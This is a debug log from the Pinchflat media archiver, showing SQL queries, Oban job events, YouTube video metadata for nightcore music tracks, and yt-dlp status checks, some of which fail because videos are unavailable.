m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:56.717 [debug] QUERY OK source="media_items" db=0.1ms idle=190.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135] 22:20:56.717 [debug] Current batch of media processed. Will check again in 1000ms 22:20:56.723 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "duration" => 210, "filename" => "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", "id" => "lJ_TSjn-khU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lJ_TSjn-khU", "playlist_index" => 2, "timestamp" => 1543147207, "title" => "Neovaii - Chase Pop", "upload_date" => "20181125"} 22:20:56.724 [debug] QUERY OK source="sources" db=0.1ms idle=196.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:20:56.724 [debug] QUERY OK source="sources" db=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.725 [debug] QUERY OK source="media_items" db=0.1ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:20:56.859 [debug] QUERY OK source="media_items" db=133.6ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "6449592b-e3b8-4602-a949-38424ce4d38e", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:20:56Z], ~U[2026-07-24 02:20:56Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:20:56.891 [debug] QUERY OK source="sources" db=31.7ms idle=142.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.892 [debug] QUERY OK source="media_profiles" db=0.2ms idle=167.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:56.918 [debug] QUERY OK source="media_items" db=25.8ms idle=167.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 22:20:56.918 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "duration" => 275, "filename" => "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", "id" => "BN4V98vYu8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BN4V98vYu8U", "playlist_index" => 3, "timestamp" => 1657234092, "title" => "The Pillows - Thank you, my twilight [FLCL]", "upload_date" => "20220707"} 22:20:56.919 [debug] QUERY OK source="sources" db=0.3ms idle=193.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:20:56.919 [debug] QUERY OK source="sources" db=0.1ms idle=60.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.920 [debug] QUERY OK source="media_items" db=0.1ms idle=28.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:20:57.023 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=dfwMShnhm9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/99/4a/994a3359fa7d37398a3a6739e05c73ee102775c72233d009e26e9ef533e04ba9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available 22:20:57.023 [error] yt-dlp download error for media item #179: "ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available\n" 22:20:57.023 [error] yt-dlp download will not be retried: "ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available\n" 22:20:57.111 [debug] QUERY OK source="media_items" db=191.2ms idle=28.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "7287707e-26f3-4bfd-ae43-1c0e61f75963", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:20:56Z], ~U[2026-07-24 02:20:56Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:20:57.112 [debug] QUERY OK source="sources" db=0.1ms idle=192.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:57.112 [debug] QUERY OK source="media_profiles" db=0.1ms idle=192.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.113 [debug] QUERY OK source="media_items" db=0.1ms idle=192.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 22:20:57.113 [debug] Current batch of media processed. Will check again in 1000ms 22:20:57.253 [info] {"args":{"id":179},"id":208,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3539900,"event":"job:stop","queue_time":12313713,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:57.385 [info] {"args":{"id":181},"id":210,"meta":{},"system_time":1784859657384904891,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:57.385 [debug] QUERY OK source="media_items" db=0.2ms idle=272.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [181] 22:20:57.385 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:57.386 [debug] QUERY OK source="sources" db=0.1ms idle=272.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:57.389 [debug] QUERY OK source="media_profiles" db=0.2ms queue=3.5ms idle=132.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.390 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [181] 22:20:57.391 [debug] QUERY OK source="media_metadata" db=0.0ms idle=5.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [181] 22:20:57.391 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.391 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.391 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:57.392 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.392 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.392 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.392 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8huYQbPK9pI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4c/44/4c441f6d5f92bb1939940806dfc9a7dfb6316e57d91f0ab7fd01838885e9db12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:57.447 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XchkPl1ASEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/da/aa/daaaa3111cd8e2640280351e6e1a50462ef6d551d553a6c86f997cb777824a10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available 22:20:57.447 [error] yt-dlp download error for media item #180: "ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available\n" 22:20:57.447 [error] yt-dlp download will not be retried: "ERROR: [youtube] XchkPl1ASEk: Video unavailable. This video is not available\n" 22:20:57.608 [info] 